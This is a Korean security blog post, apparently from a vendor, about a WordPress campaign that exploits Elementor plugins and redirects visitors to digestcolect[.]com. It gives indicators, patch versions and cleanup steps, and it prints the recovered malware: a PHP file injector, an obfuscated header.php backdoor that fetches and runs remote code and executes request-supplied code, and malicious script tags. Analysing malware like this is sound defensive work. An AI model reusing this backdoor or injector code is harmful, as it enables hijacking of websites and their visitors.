최근 몇 달 동안 WordPress 테마와 플러그인의 취약점을 노린 공격이 한층 심해지고 있습니다. 이미 진행 중이던 WordPress 플러그인 Elementor Pro, Ultimate Addons for Elementor, 그리고 Astra Theme을 대상으로 한 공격 캠페인은 새로운 양상을 보이며, 사용자들을 아래와 같은 의심스러운 웹사이트로 강제 리디렉션하는 해킹 캠페인으로 확산되고 있습니다.
- digestcolect [.] com
- js[.]donatelloflowfirstly.ga
- track[.]developfirstline[.]com/t.js?s=5
- deliverynotforme[.]best
- 0.beerockstars[.]ga/?p=me3gmnbugm5gi3bpgq3tknq&sub2=mtrolley83
- 0.directedmyfounds[.]ga/?p=gi3tazrwga5gi3bpgizdgmq&sub2=mstimens3
- well.linetoadsactive[.]com/m.js?n=nb5
- 0.realhelpcompany[.]ga
- fast.helpmart[.]ga/m[.]js?w=085
- dock.lovegreenpencils[.]ga/m.js?n=nb5
- cht.secondaryinformtrand[.]com/m.js?n=nb5
- main.travelfornamewalking[.]ga/
- irc.lovegreenpencils[.]ga/ 등
Elementor와 Ultimate Addons for Elementor는 모두 해당 보안 문제를 패치한 업데이트를 배포했습니다. 아직 업데이트하지 않으셨다면 아래 버전으로 반드시 업그레이드하시기 바랍니다.
- Elementor Pro: 2.9.4
- Ultimate Addons for Elementor: 1.24.2
관련 해킹 – WordPress 웹사이트가 track.developfirstline[.com]/t.js?s=5' type='text/javascript로 리디렉션되는 사례도 함께 확인되고 있습니다.
지금까지 파악된 내용
감염된 웹사이트에서 나타나는 대표적인 증상은 바로 '리디렉션'입니다.
이 외에도 공격을 시사하는 증상들은 다음과 같습니다.
- 웹사이트 루트 디렉터리에 의미를 알 수 없는 무작위 문자열 파일 추가
- WordPress 관리자 영역에 인증되지 않은 관리자 계정 생성
- /wp-content/uploads/elementor/custom-icons/ 경로에 출처 불명의 파일 및 폴더 존재
- 웹사이트 루트에
wp-xmlrpc.php,wp-cl-plugin.php등 알 수 없는 파일 존재 - 파일 시스템 전반에 수천 개의 악성 JavaScript 및 PHP 파일 추가
악성 'tap.digestcolect.com/r.php?id=0 spam/' 리디렉션 코드의 모습
아래 코드는 'hjghjerg'라는 이름의 파일에서 발견된 것으로, 서버 전체의 index 및 .js 파일을 탐색해 악성 스크립트를 주입하는 역할을 합니다.
<?php $lastRunLog = "./debugs.log";
if (file_exists($lastRunLog)) {
$lastRun = file_get_contents($lastRunLog);
if (time() - $lastRun >= 6400) {
search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index");
search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
file_put_contents($lastRunLog, time());
}
} else {
search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index");
search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
file_put_contents( './debugs.log', time());
}
function search_file($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file( $dir,"index");
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file( $dir,"index");
return;
}
}
...
function search_file_js($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file_js( $dir,".js");
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file_js( $dir,".js");
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {
make_it_js($path);
} }else if($value != "." && $value != "..") {
search_file_js($path, $file_to_search);
}
}
}
function make_it_js($f){
$g = file_get_contents($f);
if (strpos($g, 'var') !== false) {
$g = file_get_contents($f);
if (strpos($g, 'mndfhghjf') !== false) {
} else {
$l2 = "";
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'mndfhghjf') !== false) {
}
}
}
}
function make_it($f){
$g = file_get_contents($f);
if (strpos($g, 'trackstatisticsss') !== false) {
} else {
$l2 = "";
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'trackstatisticsss') !== false) {
}
}
}
다음 코드는 header.php 파일 내부에서 발견되었습니다. 함수명과 URL을 문자 조합(chr)으로 숨겨 탐지를 회피하고, 원격 서버에서 코드를 받아 실행하는 구조입니다.
<?php $c = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99)."ode";
$d = chr(102).chr(105).chr(108)."e".chr(95)."get".chr(95)."con".chr(116).chr(101).chr(110).chr(116).chr(115);
$b = $c($d(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(99).chr(115).chr(115).chr(46).chr(100).chr(105).chr(103).chr(101).chr(115).chr(116).chr(99).chr(111).chr(108).chr(101).chr(99).chr(116).chr(46).chr(99).chr(111).chr(109).chr(47).chr(109).chr(46).chr(116).chr(120).chr(116)));
$c1 = chr(104);
@file_put_contents($c1,chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).$b);@include($c1);@unlink($c1); ?><?php if(isset($_REQUEST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_REQUEST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).
..
chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);$b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1; $z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32); $z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]); $z3 = $b2($_REQUEST[chr(100).chr(49)]); @$n3($a,$z2); @include($a);@unlink($a); $a = chr(47).chr(116).chr(109).chr(112).chr(47).$a; @$n3($a,$z2); @include($a);@unlink($a);die(); } ?><?php if(isset($_GET[5]) && md5($_GET[5]) == "37147ec1ab66861d6e2ef8f672cb2c0b") {function _1896550334($i){$a=Array("jweyc","aeskoly","owhggiku","callbrhy","H*","");return $a[$i];} function l__0($_0){return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];if(3404<mt_rand(443,2956))session_get_cookie_params($_COOKIE,$_0,$_POST,$_0);}$_1=l__0(_1896550334(0)) .l__0(_1896550334(1)) .l__0(_1896550334(2)) .l__0(_1896550334(3));if(!empty($_1)){$_1=str_rot13(@pack(_1896550334(4),strrev($_1)));if(isset($_1)){$_2=create_function(_1896550334(5),$_1);$_2();exit();}}else{echo base64_decode("bG9jYWwtZXJyb3Itbm90LWZvdW5k");}die();} ?><script src='https://css.digestcolect.com/g.js?v=1.0.0' type='text/javascript'></script>?><script src='https://css.digestcolect.com/g.js?v=1.0.0' type='text/javascript'></script>
아래 코드는 일부 핵심 테마 파일에서 발견된 악성 스크립트 태그입니다.
<script type='text/javascript' src='https://js.digestcolect.com/g.js?v=18'></script><script type='text/javascript' src='https://js.digestcolect.com/g.js?v=18'></script>
digestcolect [.] com 리디렉션 해결 방법
웹사이트가 리디렉션되거나 위에서 언급한 다른 감염 증상이 나타난다면, 다음 절차를 통해 신속하게 대응할 수 있습니다.
- 해커들이 주로 노리는 functions.php, wp-config.php, index.php 파일부터 우선적으로 확인합니다.
- 핵심 WordPress 파일을 원본 배포판과 비교하여 핵심 파일이 변조되었는지 점검합니다.
- 온라인 멀웨어 스캐너를 활용해 웹사이트를 검사합니다.
- 데이터베이스에서 낯선 관리자 계정과 사용자 계정이 있는지 확인합니다.
- 루트 디렉터리에 무작위 문자열로 된 파일이 있는지 살펴봅니다.
보다 철저한 멀웨어 제거를 원하신다면 WordPress 리디렉션 제거 가이드나 단계별 튜토리얼을 따라 진행하시기 바랍니다.
리디렉션이 여전히 지속된다면, 해커가 웹사이트에 백도어까지 삽입했을 가능성이 높습니다. 이 경우에는 코드 검토가 포함된 심층 멀웨어 스캔을 통해 웹사이트를 완전히 정화해야 합니다.
함께 읽으면 좋은 글: 단계별 WordPress 멀웨어 제거 가이드
감염되지 않았다면? 지금 웹사이트 보안을 강화하세요
이번 취약점 공격을 피하셨다면 다행스러운 일입니다. 하지만 운에 기대기보다는 지금 바로 웹사이트 보안을 강화하는 것이 현명합니다. Astra Security와 같은 프리미엄 방화벽은 24시간 연중무휴 모니터링과 함께 JS 인젝션, SQLi, CSRF, XSS, 악성 봇, RFI, LFI 등 수백 가지 유형의 공격으로부터 웹사이트를 보호해 줍니다.
멀웨어 스캐너, 국가 차단, IP 차단 등 다양한 부가 보안 도구를 갖춘 Astra Security는 기업과 블로그 모두에게 손쉽게 적용할 수 있는 보안 솔루션입니다.